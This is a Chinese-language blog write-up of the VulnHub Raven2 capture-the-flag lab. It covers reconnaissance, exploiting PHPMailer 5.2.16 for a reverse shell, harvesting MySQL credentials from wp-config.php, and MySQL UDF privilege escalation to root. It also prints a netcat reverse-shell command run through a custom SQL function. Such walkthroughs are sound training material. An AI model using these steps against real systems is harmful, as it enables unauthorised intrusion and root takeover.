VulnHub-Raven2靶场实操

Raven2靶场实操

靶场信息

打开靶场地址下载后用vm打开

Raven2靶场地址:https://www.vulnhub.com/entry/raven-2,269/
靶机创建时间:2018年11月9日
靶机描述:Raven 2 是一个中级 boot2root VM。有四面旗帜要捕获。在多次违规之后,Raven Security 采取了额外的措施来加强他们的 Web 服务器,以防止黑客进入。你还能攻破乌鸦吗?
目标:获取到四个flag

kali:192.168.1.131
靶机:192.168.1.143

信息收集

首先我们使用nmap获取到靶机的IP

然后再探测IP所开启的端口

我们先看一下开启了http服务的80端口

接下来使用dirb爆破该网站的子目录,看看能否获取一些版本信息
经过枚举目录之后发现这个目录下存在着一些关键信息

我们打开这个path文件可以获取到flag1


flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

继续枚举后我们可以在readme.md文件中发现使用了PHPmailer插件

打开下面的version文件可以看到PHPmailer插件的版本为5.2.16


漏洞利用

这个时候我们就可以尝试查找这个版本的exp

接下来我们使用searchsploit查询是否含有这个exp

将其复制出来

然后我们对这个文件进行修改配置


再接着我们使用python3打开这个修改后的文件
这个时候显示我们没有requests_toolbelt模块

安装模块

运行成功,成功在目录正生成shell文件

建立监听

然后我们访问生成的shell文件
成功获得反弹shell

然后获取交互式的shell

接着我们尝试使用find查找flag文件


我们在这里找到了flag2和flag3
flag2{6a8ed560f0b5358ecf844108048eb337}
flag3{a0f568aa9de277887f37730d71520d9b}


进行到这里我们还剩下一个flag4没有找到
我们再去到网站根目录下查看一下数据库配置文件wp-config.php
然后就发现了数据库的账号和密码

user:root
password:R@v3nSecurity

登录成功

数据库UDF提权

由于MySQL支持UDF,支持我们自定义函数来扩展功能。当我们创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。

提权条件

1)mysql数据库的root权限
2)secure_file_priv的值为空
3)如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
4)如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。

我们首先去查看这个mysql的进程信息和版本

mysql是root权限运行

ps aux | grep root    //查看mysql进程信息

mysql版本大于5.1

dpkg -l | grep mysql    //查看历史安装包版本



首先看一下是否满足写入条件

这里secure_file_priv没有具体值,表示不对mysqld的导入|导出做限制,这个时候可以提权。
如果secure_file_priv的值为NULL,表示限制mysqld不允许导入|导出,此时无法进行提权。
如果secure_file_priv的值为/tmp/,表示限制mysqld的导入|导出只能发生在/tmp/目录下,也无法进行提权。


接下来查看插件目录

因为MySQL的版本大于5.1,所以必须把UDF的动态链接库文件放置于MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数


再看一下能否进行远程登录

这里root用户不允许远程登录,因此不能利用MSF提权


在google查询该版本的mysql漏洞

漏洞地址:https://www.exploit-db.com/exploits/1518


我们在searchsploit查看这个1518编号的漏洞

然后将其复制出来并对该.c文件进行编译

将1518.c文件复制出来

查看一下该exp如何使用

利用gcc编译.o文件

-g    //生成调试信息
-c    //编译(二进制)
-shared    //创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件
-o    //指定输出文件的名称
-lc    //这个选项告诉链接器链接C标准库。这是生成大多数C程序所必需的。



接下来将生成的.so文件上传到靶机

首先使用python开启http服务

靶机移动到/tmp目录

上传文件1518.so


然后我们再次登录数据库,并创建自定义函数

创建数据表bkn


成功插入后利用dumpfile函数把文件导出,outfile多行导出,dumpfile一行导出。outfile会有特殊的转换,而dumpfile是原数据导出。

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

使用find执行shell

可以看到现在已经是root权限

成功获取到flag4

flag4{df2bc5e951d91581467bb9a2a8ff4425}

我们在上面调用do_system函数的时候也可以在里面使用nc做一个反弹shell
在这个之前我们需要先建立一个监听

然后再MySQL中运行这个命令

select do_system('nc -nv 192.168.1.131 6677 -e /bin/bash');

使用这个方法也可以获取到root权限

总结

1)dirb进行目录爆破,获取到phpmailer版本以及falg1。
2)通过对exp的配置在靶机上传shell(CVE-20016-10033),并获取到flag2和flag3以及MySQL的用户名和密码。
3)获取数据库的版本信息,利用exp对数据库进行UDF提权,成功获取到flag4.

通过对该靶机的实操可以对数据库的UDF提权的一些操作以及原理更加了解,提高自身的数据库操作语言,整体提高了自身的信息收集能力以及漏洞利用能力。

posted @ 2024-07-13 19:19  BKNboy  阅读(151)  评论(0编辑  收藏  举报